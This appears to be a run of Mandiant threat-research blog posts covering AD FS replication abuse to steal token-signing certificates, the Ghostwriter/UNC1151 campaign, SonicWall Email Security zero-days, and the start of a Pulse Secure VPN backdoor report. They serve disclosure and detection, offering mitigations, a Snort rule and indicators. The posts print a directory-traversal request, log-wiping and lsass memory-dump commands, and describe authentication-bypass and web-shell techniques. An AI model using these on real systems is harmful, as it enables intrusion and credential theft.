alert tcp any any -> any 80 (msg:"AD FS Replication"; flow:established, to_server; content:"POST"; http_method; content:"adfs/services/policystoretransfer"; http_uri; threshold:type limit,track by_src,count 1,seconds 3600; priority:3; sid:7000000; rev:1;)

Figure 6: Sample snort rule

Acknowledgements

Mandiant would like to acknowledge the great work of Dr. Nestori Syynimaa (@DrAzureAD). Dr. Syynimaa independently thought to research the replication of configuration information between AD FS servers and has published his findings on his blog. Mandiant would also like to thank Microsoft for their collaboration on mitigations and detections for this technique. Lastly, special thanks to Mike Burns of the Mandiant Security Transformation services team for his feedback on mitigations and detections.

Ghostwriter Update: Cyber Espionage Group UNC1151 Likely Conducts Ghostwriter Influence Activity

28 April 2021 at 10:00

In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing influence campaign we named “Ghostwriter.” Ghostwriter is a cyber-enabled influence campaign which primarily targets audiences in Lithuania, Latvia and Poland and promotes narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe. Since releasing our public report, we have continued to investigate and report on Ghostwriter activity to Mandiant Intelligence customers. We tracked new incidents as they happened and identified activity extending back years before we formally identified the campaign in 2020. A new report by our Information Operations analysis, Cyber Espionage analysis, and Mandiant Research teams provides an update on Ghostwriter, highlighting two significant developments.

We have observed an expansion of narratives, targeting and TTPs associated with Ghostwriter activity since we released our July 2020 report. For example, several recent operations have heavily leveraged the compromised social media accounts of Polish officials on the political right to publish content seemingly intended to create domestic political disruption in Poland rather than foment distrust of NATO. These operations, conducted in Polish and English, appear to have largely not relied on the dissemination vectors we have typically observed with previous Ghostwriter activity, such as website compromises, spoofed emails or posts from inauthentic personas. We have observed no evidence that these social media platforms were themselves in any way compromised, and instead believe account credentials were obtained using the compromised email accounts of targeted individuals.

Recently obtained technical evidence now allows us to assess with high confidence that UNC1151, a suspected state-sponsored cyber espionage actor that engages in credential harvesting and malware campaigns, conducts at least some components of Ghostwriter influence activity; current intelligence gaps, including gaps pertaining to website compromises and the operation of false personas, do not allow us to conclusively attribute all aspects of the Ghostwriter campaign to UNC1151 at this time. We do not associate UNC1151 with any other previously tracked threat groups. Since the start of 2021, UNC1151 has expanded its credential theft activity to target German politicians. This targeting has been publicly reported in the German Tagesschau.

The appendices of the report include an exhaustive table of incidents and operations we currently associate with Ghostwriter activity, a detailed case study of a recent Ghostwriter operation, and indicators of compromise (IOCs) related to UNC1151.

Read the report today to learn more.

Abusing Replication: Stealing AD FS Secrets Over the Network

27 April 2021 at 17:00

Organizations are increasingly adopting cloud-based services such as Microsoft 365 to host applications and data. Sophisticated threat actors are catching on and Mandiant has observed an increased focus on long-term persistent access to Microsoft 365 as one of their primary objectives. The focus on developing novel and hard to detect methods to achieve this goal was highlighted with the recent detection of UNC2452 and their access to Microsoft 365. One of this group's key TTPs was to steal the Token Signing Certificate from an organization’s AD FS server to enable them to bypass MFA and access cloud services as any user, at any time. While defenders previously associated the defense of this certificate, and thus the entire ecosystem, with careful access control and detection efforts around the AD FS server and service account, this is no longer sufficient. In this blog post we will show how a threat actor, with the right privilege, can extract the encrypted Token Signing Certificate from anywhere on the internal network. Once extracted, a threat actor can easily decrypt it and begin accessing cloud services.

Active Directory Federation Services

Active Directory Federation Services (AD FS) is a feature for Windows Servers that enables federated identity and access management. It is often used by organizations to provide single sign-on functionality to access enterprise applications such as Microsoft 365. In technical terms, AD FS functions as an Identity Provider (IdP) and Microsoft 365 is a Service Provider (SP). We’ll use Microsoft 365 as an example going forward, but this technique could apply to any service that is set up to trust AD FS. AD FS verifies a user’s identity and issues assertions that describe the user. Microsoft 365  trusts AD FS to verify user identities and provide it with assertions. To Microsoft 365, it doesn’t matter how AD FS performed the verification, it just needs the assertions.

In the typical deployment (Figure 1), AD FS will verify a user’s identity using Active Directory. At a minimum, an AD FS deployment consists of two servers in an enterprise’s on-premises network: the primary AD FS server, and an AD FS Web Application Proxy (WAP). The proxy is placed in the DMZ and has no functionality besides proxying sign-on attempts from the Internet to the AD FS server. The primary AD FS server receives proxied requests, verifies a user’s identity, and issues assertions that are packaged into SAML security tokens for the user.


Figure 1: Typical AD FS deployment (source: Microsoft)

The SAML token issued by AD FS proves a user’s identity to Microsoft 365 and can also be used to make authorization decisions. The SAML token is an XML document with two main components:

  1. Assertions: Assertions are XML elements that describe the user’s identity. An assertion could be a user SID, group membership SIDs, or other elements like the user’s department name. A single SAML token can have multiple assertions attached to it.
  2. Digital Signature: The assertions in the SAML token are digitally signed using a public/private keypair that resides on the AD FS server. This is called the Token Signing Certificate.

The Token Signing Certificate is the bedrock of security in AD FS. Microsoft 365 uses the digital signature to validate that the SAML token is authentic, valid, and comes from an AD FS server that it trusts. To enable this verification, an administrator shares the public component of the Token Signing Certificate with Microsoft 365. This is then used to cryptographically verify the digital signature in the SAML token and prove authenticity as well as integrity of the token. In other words, if a threat actor got hold of a Token Signing Certificate, they could generate arbitrary SAML tokens to access any federated application, as any user, and even bypass MFA.

Golden SAML

Golden SAML was coined in 2017 by CyberArk to describe the technique of forging SAML tokens to access SPs given a valid Token Signing Certificate. At TROOPERS 19, I detailed how a threat actor could extract the Token Signing Certificate from an AD FS server, as well as some mitigation strategies for defenders.

In a default AD FS configuration, the Token Signing Certificate is stored within a Windows Internal Database (WID) instance that is running on the AD FS server. WID is more or less MS SQL Express, except the database can only be accessed locally over a special named pipe connection. In AD FS, the database is further locked down to only the AD FS service account. The Token Signing Certificate is stored in an encrypted state in the IdentityServerPolicy.ServiceStateSummary table. Figure 2 contains a single row with a column that stores all the settings that AD FS will need on service start as an XML document.

<SigningToken>
            <IsChainIncluded>false</IsChainIncluded>
            <IsChainIncludedSpecified>false</IsChainIncludedSpecified>
            <FindValue>99FABAEE46A09CD9B34B9510AB10E2B0C0ACB99B</FindValue>
            <RawCertificate></RawCertificate>
            <EncryptedPfx></EncryptedPfx>
            <StoreNameValue>My</StoreNameValue>
            <StoreLocationValue>CurrentUser</StoreLocationValue>
            <X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
        </SigningToken>

Figure 2: Example Token Signing Certificate stored in the AD FS database

The Token Signing Certificate as it is stored in the AD FS database is encrypted using symmetric key encryption. Windows uses a technology called Distributed Key Management (DKM) to store the secret value used to derive the symmetric key in an Active Directory container. The AD FS service account can read the attributes of this container, derive the symmetric key, and then decrypt the Token Signing Certificate.

AD FS Replication

AD FS also supports a farm configuration for high availability and load balancing in larger enterprise networks. The individual AD FS servers in a farm can be configured to use unique Token Signing Certificates; however, the default is to have the servers share the same Token Signing Certificate.  In order to stay in sync with each other, the farm will have a primary node and secondary nodes. The secondary nodes make use of a replication service to acquire configuration settings and certificates from the primary AD FS server. To facilitate this, AD FS makes use of Windows Communication Foundation (WCF).

WCF is a framework that allows developers to build service-oriented applications. A WCF application has two components: the service that will receive and process messages, and the client that sends messages to a service and receives back responses. The AD FS servers run a WCF service that is called the Policy Store Transfer Service internally.

To send a message to this service, the client will connect to the URL http://<adfs server name>:80/adfs/services/policystoretransfer. Note that even though the channel is over HTTP, the actual data being exchanged is encrypted during transit. It is also key to understand that although there is a single primary AD FS server, all nodes in an AD FS farm run this WCF service and can be used for replication.

Upon receipt of a message, the WCF service enforces an authorization check to ensure the calling identity is permitted to receive the requested information. The permission check is done by evaluating an authorization policy that is also stored in the IdentityServerPolicy.ServiceStateSummary table of the AD FS database. The policy permits identities whose primary SID matches the AD FS Service account or to any identity that is member of the AD FS server’s local administrators group. If the identity of the client passes the authorization check, then the WCF service will send back a message containing the requested information.

   <AuthorizationPolicy>
   @RuleName = “Permit Service Account”exists([Type ==
    “http://schemas.microsoft.com/ws/2008/06/identity/claims/
    primarysid”, Value == “S-1-5-21-3508695881-2242692613
    -376241919-1107”]) => issue(Type = “http://schemas
    .microsoft.com/authorization/claims/permit”, Value = “
    true”);
   @RuleName = “Permit Local Administrators”exists([Type ==
   “http://schemas.microsoft.com/ws/2008/06/identity/claims/group
   sid”, Value == “S-1-5-32-544”])=> issue(Type = &quot
   ;http://schemas.microsoft.com/authorization/claims/permit”, Value
    = “true”);
   </AuthorizationPolicy>

Figure 3: Default Authorization Policy for AD FS server

Room for Abuse

A threat actor can abuse the Policy Store Transfer Service to acquire the encrypted Token Signing Certificate over the network, similar to the DCSync technique for Active Directory. It is important to note that the data is still encrypted and requires the DKM key stored in Active Directory to decrypt. This technique, however, requires a significant change to how defenders have secured AD FS servers and monitored them for theft of the Token Signing Certificate.

First, previous techniques required code execution on an AD FS server to extract the data or at least an SMB connection to transfer the backing database files. With a strong defense in depth program using secure credential management, EDR, and network segmentation, an enterprise can make it very difficult for a threat actor to access an AD FS server and the Token Signing Certificate. Abusing the AD FS Replication service, however, requires only access to the AD FS server over the standard HTTP port. The default installation of AD FS will even create a Windows Firewall rule to allow HTTP traffic from any system. Additionally, a threat actor does not need the credentials for the AD FS service account and can instead use any account that is a local administrator on an AD FS server. Lastly, there is no Event Log message that is recorded when a replication event occurs on an AD FS server. Altogether, this makes the technique both much easier to execute and much harder to detect.

The authorization policy itself also presents an opportunity for abuse. Because the authorization policy is stored as XML text in the configuration database, a threat actor with enough access could modify it to be more permissive. A threat actor could modify the Authorization Policy to include a group SID such as domain users, S-1-5-21-X-513. Similarly, they could add an ACE to the DKM key container in Active Directory. This would allow the threat actor to easily obtain the Token Signing Certificate and decrypt it using any domain user credentials. This would give them persistent ability to perform a Golden SAML attack with only access to the network as a requirement.

Mandiant has not yet observed this technique used in the wild; however, it is trivial to write a POC for and we are aware of one public tool that will soon support it. Figure 4 shows the output of POC code written in .NET to extract the Token Signing Certificate from a remote AD FS server.


Figure 4: POC code output

Mitigations

The best mitigation against this technique is to use the Windows Firewall to restrict access to port 80 TCP to only the AD FS servers in the farm. If an organization has only a single AD FS server, then port 80 TCP can be blocked completely. This block can be put in place because all traffic to and from AD FS servers and proxies for user authentication is over port 443 TCP.  

To limit inbound communications, modify the existing firewall rule that AD FS inserts on installation.

Set-NetFirewallRule -DisplayName "AD FS HTTP Services (TCP-In)" -RemoteAddress <ADFS1 IP address>,<ADFS2 IP Address>

If no rule exists, the scriptlet in Figure 5 should be applied to all ADFS servers to create one.

New-NetFirewallRule -DisplayName "Allow ADFS Servers TCP 80" -Direction Inbound -Action Allow  -Protocol TCP -LocalPort 80 -RemoteAddress <ADFS1 IPAddress >,<ADFS2 IPAddress>

Figure 5: Windows Firewall - Allow ADFS Server - TCP 80

Organizations that are monitoring the internal network can alert on HTTP POST requests to the address that hosts the Policy Store Transfer service. If there is an AD FS farm, then the IP addresses of the AD FS servers will need to be whitelisted against the rule. Figure 6 shows a sample Snort rule to detect this activity.

alert tcp any any -> any 80 (msg:"AD FS Replication"; flow:established, to_server; content:"POST"; http_method; content:"adfs/services/policystoretransfer"; http_uri; threshold:type limit,track by_src,count 1,seconds 3600; priority:3; sid:7000000; rev:1;)

Figure 6: Sample snort rule

Acknowledgements

Mandiant would like to acknowledge the great work of Dr. Nestori Syynimaa (@DrAzureAD). Dr. Syynimaa independently thought to research the replication of configuration information between AD FS servers and has published his findings on his blog. Mandiant would also like to thank Microsoft for their collaboration on mitigations and detections for this technique. Lastly, special thanks to Mike Burns of the Mandiant Security Transformation services team for his feedback on mitigations and detections.

Zero-Day Exploits in SonicWall Email Security Lead to Enterprise Compromise

20 April 2021 at 21:00

In March 2021, Mandiant Managed Defense identified three zero-day vulnerabilities in SonicWall’s Email Security (ES) product that were being exploited in the wild. These vulnerabilities were executed in conjunction to obtain administrative access and code execution on a SonicWall ES device. The adversary leveraged these vulnerabilities, with intimate knowledge of the SonicWall application, to install a backdoor, access files and emails, and move laterally into the victim organization’s network.

The vulnerabilities are being tracked in the following CVEs:

CVE-2021-20021

9.8

Unauthorized administrative account creation

CVE-2021-20022

7.2

Post-authentication arbitrary file upload

CVE-2021-20023

4.9

Post-authentication arbitrary file read

Mandiant has been coordinating with the SonicWall Product Security and Incident Response Team (PSIRT) for the responsible disclosure of this information. SonicWall advises all customers and partners to upgrade to the 10.0.9.6173 Hotfix for Windows users, and the 10.0.9.6177 Hotfix for hardware and ESXi virtual appliance users. SonicWall Hosted Email Security product was automatically updated for all customers and no additional action is required for patching purposes. The hotfixes will also be superseded by the upcoming SonicWall ES 10.0.10 release.

More information can be found by visiting the KB article published by SonicWall.

All patches, upgrades, and hotfixes are available to download on the MySonicWall site.

Overview


Figure 1: SonicWall Email Security ecosystem overview (via SonicWall)

SonicWall Email Security (ES) is an email security solution that “provides comprehensive inbound and outbound protection, and defends against advanced email-borne threats such as ransomware, zero-day threats, spear phishing and business email compromise (BEC).” The solution can be deployed as a physical appliance, virtual appliance, software installation, or a hosted SaaS solution.


Figure 2: Sample SonicWall Email Security login page

Like many appliances, the solution provides a rich, web-accessible administrative interface that serves as the main avenue for product configuration. Depending on the customer’s deployment method, this software is potentially capable of running under Windows or Unix because it heavily leverages OS-independent Apache Tomcat and Java. While the solution doesn’t require that this interface be exposed to the internet, internet-wide scanning shows approximately 700 publicly reachable interfaces.

Investigation

In March 2021, Mandiant Managed Defense identified post-exploitation web shell activity on an internet-accessible system within a customer’s environment. Managed Defense isolated the system and collected evidence to determine how the system was compromised.

The system was quickly identified as a SonicWall Email Security (ES) application running on a standard Windows Server 2012 installation. The adversary-installed web shell was being served through the HTTPS-enabled Apache Tomcat web server bundled with SonicWall ES. Due to the web shell being served in the application’s bundled web server, we immediately suspected the compromise was associated with the SonicWall ES application itself.

When we contacted the customer, we learned that the installation of SonicWall ES was the latest version available for download (10.0.9) and that there was no publicly available information pertaining to vulnerabilities or in-the-wild exploitation. To determine if a potential application-level vulnerability was exploited to install the web shell, Mandiant collected endpoint telemetry data.

We soon identified post-exploitation activity aimed at destroying evidence on the system, executed in the context of the web shell. The adversary executed the following command, shortly after installing the web shell:

cmd.exe /c "echo "" > "C:/Program Files (x86)/SonicWallES/logs/webUI/webui.json

Figure 3: The Adversary clearing existing entries in the current “webui.json” log

This command deleted the most recent application-level log entries recorded by the SonicWall ES web application. While clearing log files is a standard anti-forensics technique, understanding the location of internal log files generated by applications is usually overlooked by most spray-and-pray attackers. This added fuel to our suspicion that we were dealing with an adversary who had intimate knowledge of how the SonicWall ES application worked.

Fortunately for us, additional log files and a previously created virtual server snapshot provided enough evidence to track down the vulnerabilities and the adversary’s activities on the host.

Vulnerabilities

CVE-2021-20021

Unauthenticated administrative access through improperly secured API endpoint

The SonicWall Email Security application contains an authenticated control panel to provide administration capabilities. One feature available allows application administrators to authorize an additional administrator account from a separate Microsoft Active Directory Organization Unit (AD OU).

https://<SonicWall ES host>/createou?data=<XML HERE>

Figure 4: A redacted example of the vulnerable endpoint associated with arbitrary user creation

Requests to this form, however, were not verified to require previous authentication to the appliance.

Due to this vulnerability, an adversary with a well-crafted XML document could either GET or POST their document to the application and create a “role.ouadmin” account (Figure 4). This account could then be used to authenticate to the application as an administrator.

CVE-2021-20022

Arbitrary file upload through post-authenticated “branding” feature

Like many enterprise products with a web-based user interface, SonicWall Email Security includes a feature known as "branding" which gives administrators the ability to customize and add certain assets to the interface, such as company logos. These branding assets are managed via packages, and new packages can be created by uploading ZIP archives containing custom text, image files, and layout settings. A lack of file validation can enable an adversary to upload arbitrary files, including executable code, such as web shells.

Once uploaded, these branding package ZIP archives are normally expanded and saved to the <SonicWall ES install path>\data\branding directory. However, an adversary could place malicious files in arbitrary locations, such as a web accessible Apache Tomcat directory, by crafting a ZIP archive containing a file within a sequence of directory traversal notations such as in Figure 5.


Figure 5: Example ZIP archive containing a Zip Slip web shell

It is important to note that the lack of validation which enables Zip Slip attacks is not unique to SonicWall Email Security. As detailed in Snyk's research on the topic, they exist within the many code libraries from which applications have been built.

CVE-2021-20023

Directory-traversal leads to arbitrary file read in post-authenticated "branding" feature

Mandiant confirmed another post-authentication vulnerability in the administrative panel’s built-in "branding" feature which allowed an adversary to retrieve arbitrary files from the host by sending crafted HTTP GET requests to a particular resource. Figure 6 demonstrates the formatting of such request.

https://<SonicWall ES host>/dload_apps?action=<any value>&path=..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fcalc.exe&id=update

Figure 6: An example web request which results in downloading the Windows calculator

While the working directory of this branding feature is <SonicWall ES install path>\data\updates, a directory-traversal vulnerability allows an adversary to access files located outside of this directory. As the Apache Tomcat webserver handling this request is operating as the NT AUTHORITY\SYSTEM account, any file on the operating system can be accessed.

Combinations of all three exploits were leveraged interchangeably by the adversary to perform the following actions:

  1. Creation of a new Administrator account on the SonicWall ES device
  2. Exposure of the hashed passwords for existing, locally configured Administrative accounts
  3. The creation of a web shell in an arbitrary directory
  4. Real-time debugging of exploitation success and failure

Post-Exploitation

Upon obtaining administrative access to the appliance through CVE-2021-20021, an adversary sent crafted HTTP requests to the resource /dload_apps, a component of the application's "branding" feature, exploiting CVE-2021-20023. These requests leveraged directory traversal attacks, enabling access to two sensitive XML configuration files located at <SonicWall ES install path>\data\multi_accounts.xml and <SonicWall ES install path>\data\multi_ldap.xml, respectively (Figure 7).

GET /dload_apps?action=REDACTED&path=..%2Fmulti_accounts.xml&id=update

GET /dload_apps?action=REDACTED&path=..%2Fmulti_ldap.xml&id=update

Figure 7: HTTP GET requests exploiting CVE-2021-20023

These files contained details about existing accounts as well as Active Directory credentials used by the application.

Next, the adversary uploaded a ZIP archive containing the BEHINDER JSP web shell from the administrative panel's "branding" page. The crafted ZIP archive used a Zip Slip attack to exploit CVE-2021-20022, which caused the web shell to be written to the web-accessible Apache Tomcat directory <SonicWall ES install path>\Apache Software Foundation\Tomcat 9.0\webapps\SearchEngineRMIService\.

BEHINDER is a publicly available, multi-platform web shell that accepts encrypted command and control (C2) communications. In principle, BEHINDER operates similarly to CHINA CHOPPER, a popular web shell that has been previously detailed by FireEye. Like CHINA CHOPPER, an adversary operates a client-side application to pass commands to the web shell within the body of HTTP requests. As the core functionality of the backdoor is contained within the client-side application, BEHINDER—much like CHINA CHOPPER—has the added benefit of being small, with the variant observed in this investigation weighing in at less than 1 kilobyte (Figure 8).


Figure 8: The BEHINDER web shell observed by Mandiant, which executes AES encrypted and base64 encoded commands

With the addition of a web shell to the server, the adversary had unrestricted access to the command prompt, with the inherited permissions of the NT AUTHORITY\SYSTEM account.

After clearing the SonicWall application “webui.json” log file, the adversary escalated their attack to credential harvesting in preparation of moving laterally into the victim's network. The adversary relied on “living off the land” techniques rather than bringing their own tools into the environment, which often has the benefit of potentially avoiding detections from a security product.

We observed the adversary executing the reg save command to dump the HKLM\SAM, HKLM\SYSTEM, and HKLM\SECURITY registry hives, which contain vital information in recovering password hashes and LSA secrets. Additionally, the adversary obtained in-memory sensitive credentials through the use of built-in memory dumping techniques. The adversary was observed invoking the MiniDump export of the Windows DLL comsvcs.dll to dump both the process memory for lsass.exe and the running instance of Apache Tomcat as seen in Figure 9.

rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <lsass PID> c:\windows\temp\TS_LAS.dmp full

rundll32.exe C:\windows\system32\comsvcs.dll MiniDump <Tomcat PID> C:\windows\temp\TS_FF9DG.dmp full

Figure 9: The adversary acquiring process memory for lsass.exe (MITRE ATT&CK T1003.001) and Apache Tomcat

Mandiant typically observes adversaries employing short and easy-to-type filenames during their operations, simply for efficiency. As such, the aforementioned filenames initially stood out as being peculiar, as a mix of case and symbols would require more effort to type than is often necessary. While this could always be indicative of a tool being used, the slight variations between the two commands—the absence of a comma before the DLL export and the uppercase C:\ drive in the second—suggest that they were manually typed. Considering that the C:\Windows\Temp\ directory on a Windows host also normally contains numerous similarly named temporary files, the adversary was likely taking extra care to evade suspicion should the activity reach the screen of a security analyst.

Continuing their effort to live off the land as much as possible, the adversary located a copy of the archiving utility 7-Zip already present on the host and used it to compress a subdirectory of <SonicWall ES install path>\data\archive\. This directory contains daily archives of emails processed by SonicWall ES—again demonstrating the adversary’s familiarity with the application.

After a several-day lull in activity, the adversary returned to the host, presumably after working to recover passwords from the registry hives and process memory that was dumped earlier. At the time of activity, the victim organization was using the same local Administrator password across multiple hosts in their domain, which provided the adversary an easy opportunity to move laterally under the context of this account—highlighting the value of randomizing passwords to built-in Windows accounts on each host within a domain.

We observed the adversary leveraging Impacket’s publicly available WMIEXEC.PY tool to access several internal hosts, which enabled remote command execution over Microsoft's DCOM protocol via Windows Management Instrumentation (WMI). The adversary managed to briefly perform internal reconnaissance activity prior to being isolated and removed from the environment.

Attribution

Mandiant currently tracks this activity as UNC2682. Ultimately, Mandiant prevented UNC2682 from completing their mission so their objectives of the attack currently remain unknown.

Each investigation conducted by Mandiant includes analysts from our Advanced Practices team who work to correlate activity observed in the thousands of investigations that Mandiant responds to. At times, we do not have the data available to directly attribute intrusion activity to a previously known group. In these cases, we create a new UNC group to track the activity that we observed. An UNC group is a cluster of related cyber intrusion activity, which includes observable artifacts such as adversary infrastructure, tools, and tradecraft, that we are not yet ready to give a classification such as APT or FIN.

For more details on how Mandiant uses UNC groups, see our blog post: DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors.

Investigation & Monitoring Tips

Mandiant recommends monitoring of the following endpoint telemetry indicators for potential evidence of compromise:

  • Child processes of the web server process “tomcat” on SonicWall Email Security appliances, particularly cmd.exe
  • The creation or existence of web shells on a server hosting SonicWall Email Security

In addition to standard indicators, Mandiant recommends reviewing SonicWall-related internal configuration files and logs for evidence of previous adversary activity.

Evidence of malicious web requests and their values may be identifiable in the following log files:

  1. The Apache Tomcat logs:
    • C:\Program Files\SonicWallES\Apache Software Foundation\Tomcat 9.0\logs
  2. The SonicWall application logs:
    • C:\Program Files\SonicWallES\logs\webUI\webui.json

Evidence of unauthorized modifications to SonicWall configuration settings can be confirmed in the following files:

  1. The administration user account file:
    • C:\Program Files\SonicWallES\data\multi_accounts.xml
  2. Additional user account files that may have been created in the following directories:
    • C:\Program Files\SonicWallES\data\perhost
    • C:\Program Files\SonicWallES\data\perldap
    • C:\Program Files\SonicWallES\data\perou
  3. Branding related zip files in any of the subdirectories of the following directory:
    • C:\Program Files\SonicWallES\data\branding

Detecting the Techniques

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of SonicWall ES exploitation or post-exploitation activities associated with this adversary.

Product

Signature

FireEye Endpoint Security

  • RUNDLL32.EXE COMSVCS.DLL PROCESS MINIDUMP (METHODOLOGY)
  • SUSPICIOUS REGISTRY EXPORTS (METHODOLOGY)
  • WEB SERVER ECHO REDIRECT (METHODOLOGY)
  • WEB SERVER CMD.EXE TYPE RECON (METHODOLOGY)

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware File Scanning

FireEye Malware File Storage Scanning

  • FE_PUP_Exploit_Linux_ZipSlip_1
  • FE_Exploit_Win_ZipSlip_1
  • FE_Trojan_ZIP_Generic_1
  • FE_Webshell_JSP_BEHINDER_1
  • FEC_Webshell_JSP_BEHINDER_1
  • Webshell.JSP.BEHINDER
  • Webshell.JSP.BEHINDER.MVX

FireEye Helix

  • METHODOLOGY - LFI [Null-Byte URI]
  • WMIEXEC UTILITY [Args]
  • WINDOWS METHODOLOGY [Unusual Web Server Child Process]

Additionally, SonicWall has deployed Intrusion Prevention System (IPS) signatures to SonicWall firewalls to help detect and block attacks that attempt to leverage the aforementioned vulnerabilities. The following signatures have already been applied to SonicWall firewalls with active security subscriptions:

  • IPS Signature: 15520 WEB-ATTACKS SonicWall Email Security (CVE-2021-20022 Vulnerability)
  • IPS Signature: 1067 WEB-ATTACKS Web Application Directory Traversal Attack 7
  • IPS Signature: 15509 WEB-ATTACKS Web Application Directory Traversal Attack 7 -c2

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Name

A101-563

Malicious File Transfer - BEHINDER, Download, Variant #1

A101-566

Web Shell Activity - BEHINDER, Basic Shell Interaction

A101-564

Malicious File Transfer - Zip Slip, Download, EICAR Variant

A101-565

Phishing Email - Malicious Attachment, Zip Slip, Generic Themed Lure

Vulnerability Disclosure

Mandiant disclosed the vulnerabilities CVE-2021-20021 and CVE-2021-20022 to SonicWall Product Security Incident Response Team (PSIRT) on March 26, 2021. The vulnerabilities were acknowledged and validated on March 29, 2021 and a hotfix became available on April 9, 2021. The patch was communicated to impacted SonicWall customers and partners on April 9, 2021.
 
Mandiant disclosed the vulnerability CVE-2021-20023 to SonicWall PSIRT on April 6, 2021. The vulnerability was acknowledged and validated on April 9, 2021 and a patch became available April 19.

To mitigate the three CVEs, Mandiant and SonicWall recommend upgrading Email Security to version 10.0.9.6173 (Windows) or 10.0.9.6177 (Hardware & ESXi Virtual Appliances). Organizations using SonicWall Hosted Email Security (HES) products were automatically updated and no action is required for those customers.

Acknowledgements

SonicWall PSIRT, Charles Carmakal, Ben Fedore, Geoff Ackerman and Andrew Thompson.

Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day

20 April 2021 at 14:00

Executive Summary

  • Mandiant recently responded to multiple security incidents involving compromises of Pulse Secure VPN appliances.
  • This blog post examines multiple, related techniques for bypassing single and multifactor authentication on Pulse Secure VPN devices, persisting across upgrades, and maintaining access through webshells.
  • The investigation by Pulse Secure has determined that a combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, CVE-2021-22893, are responsible for the initial infection vector.
  • Pulse Secure’s parent company, Ivanti, released mitigations for a vulnerability exploited in relation to these malware families and the Pulse Connect Secure Integrity Tool for their customers to determine if their systems are impacted. A final patch to address the vulnerability will be available in early May 2021.
  • Pulse Secure has been working closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues.
  • There is no indication the identified backdoors were introduced through a supply chain compromise of the company’s network or software deployment process.

Introduction

Mandiant is currently tracking 12 malware families associated with the exploitation of Pulse Secure VPN devices. These families are related to the circumvention of authentication and backdoor access to these devices, but they are not necessarily related to each other and have been observed in separate investigations. It is likely that multiple actors are responsible for the creation and deployment of these various code families.

The focus of this report is on the activities of UNC2630 against U.S. Defense Industrial base (DIB) networks, but detailed malware analysis and detection methods for all samples observed at U.S. and European victim organizations are provided in the technical annex to assist network defenders in identifying a large range of malicious activity on affected appliances. Analysis is ongoing to determine the extent of the activity.

Mandiant continues to collaborate with the Ivanti and Pulse Secure teams, Microsoft Threat Intelligence Center (MSTIC), and relevant government and law enforcement agencies to investigate the threat, as well as develop recommendations and mitigations for affected Pulse Secure VPN appliance owners.

As part of their investigation, Ivanti has released mitigations for a vulnerability exploited in relation to this campaign as well as the Pulse Connect Secure Integrity Tool to assist with determining if systems have been impacted.

Details

Early this year, Mandiant investigated multiple intrusions at defense, government, and financial organizations around the world. In each intrusion, the earliest evidence of attacker activity traced back to DHCP IP address ranges belonging to Pulse Secure VPN appliances in the affected environment.

In many cases, we were not able to determine how actors obtained administrator-level access to the appliances. However, based on analysis by Ivanti, we suspect some intrusions were due to the exploitation of previously disclosed Pulse Secure vulnerabilities from 2019 and 2020 while other intrusions were due to the exploitation of CVE-2021-22893.

We observed UNC2630 harvesting credentials from various Pulse Secure VPN login flows, which ultimately allowed the actor to use legitimate account credentials to move laterally into the affected environments. In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts on the VPN appliance. This was done to accomplish the following:

  1. Trojanize shared objects with malicious code to log credentials and bypass authentication flows, including multifactor authentication requirements. We track these trojanized assemblies as SLOWPULSE and its variants.
  2. Inject webshells we currently track as RADIALPULSE and PULSECHECK into legitimate Internet-accessible Pulse Secure VPN appliance administrative web pages for the devices.
  3. Toggle the filesystem between Read-Only and Read-Write modes to allow for file modification on a typically Read-Only filesystem.
  4. Maintain persistence across VPN appliance general upgrades that are performed by the administrator.
  5. Unpatch modified files and delete utilities and scripts after use to evade detection.
  6. Clear relevant log files utilizing a utility tracked as THINBLOOD based on an actor defined regular expression.

In a separate incident in March 2021, we observed UNC2717 using RADIALPULSE, PULSEJUMP, and HARDPULSE at a European organization. Although we did not observe PULSEJUMP or HARDPULSE used by UNC2630 against U.S. DIB companies, these malware families have shared characteristics and serve similar purposes to other code families used by UNC2630. We also observed an OpenSSL library file modified in similar fashion as the other trojanized shared objects. We believe that the modified library file, which we’ve named LOCKPICK, could weaken encryption for communications used by the appliance, but do not have enough evidence to confirm this.

Due to a lack of context and forensic evidence at this time, Mandiant cannot associate all the code families described in this report to UNC2630 or UNC2717. We also note the possibility that one or more related groups is responsible for the development and dissemination of these different tools across loosely connected APT actors. It is likely that additional groups beyond UNC2630 and UNC2717 have adopted one or more of these tools. Despite these gaps in our understanding, we included detailed analysis, detection techniques, and mitigations for all code families in the Technical Annex.

SLOWPULSE

During our investigation into the activities of UNC2630, we uncovered a novel malware family we labeled SLOWPULSE. This malware and its variants are applied as modifications to legitimate Pulse Secure files to bypass or log credentials in the authentication flows that exist within the legitimate Pulse Secure shared object libdsplibs.so. Three of the four discovered variants enable the attacker to bypass two-factor authentication. A brief overview of these variants is covered in this section, refer to the Technical Annex for more details.

SLOWPULSE Variant 1

This variant is responsible for bypassing LDAP and RADIUS-2FA authentication routines if a secret backdoor password is provided by the attacker. The sample inspects login credentials used at the start of each protocol’s associated routine and strategically forces execution down the successful authentication patch if the provided password matches the attacker's chosen backdoor password.

LDAP Auth Bypass

The routine DSAuth::LDAPAuthServer::authenticate begins the LDAP authentication procedure. This variant inserts a check against the backdoor password after the bind routine so that the return value can be conditionally stomped to spoof successful authentication.


Figure 1: LDAP Auth Bypass

RADIUS Two Factor Auth Bypass

The routine DSAuth::RadiusAuthServer::checkUsernamePassword begins the RADIUS-2FA authentication procedure. This variant inserts checks against the backdoor password after the RADIUS authentication packet is received back from the authentication server. If the backdoor password is provided by the attacker, the packet type and successful authentication status flags are overwritten to spoof successful authentication.


Figure 2: Radius-2FA Bypass

SLOWPULSE Variant 2

ACE Two Factor Auth Credential Logging

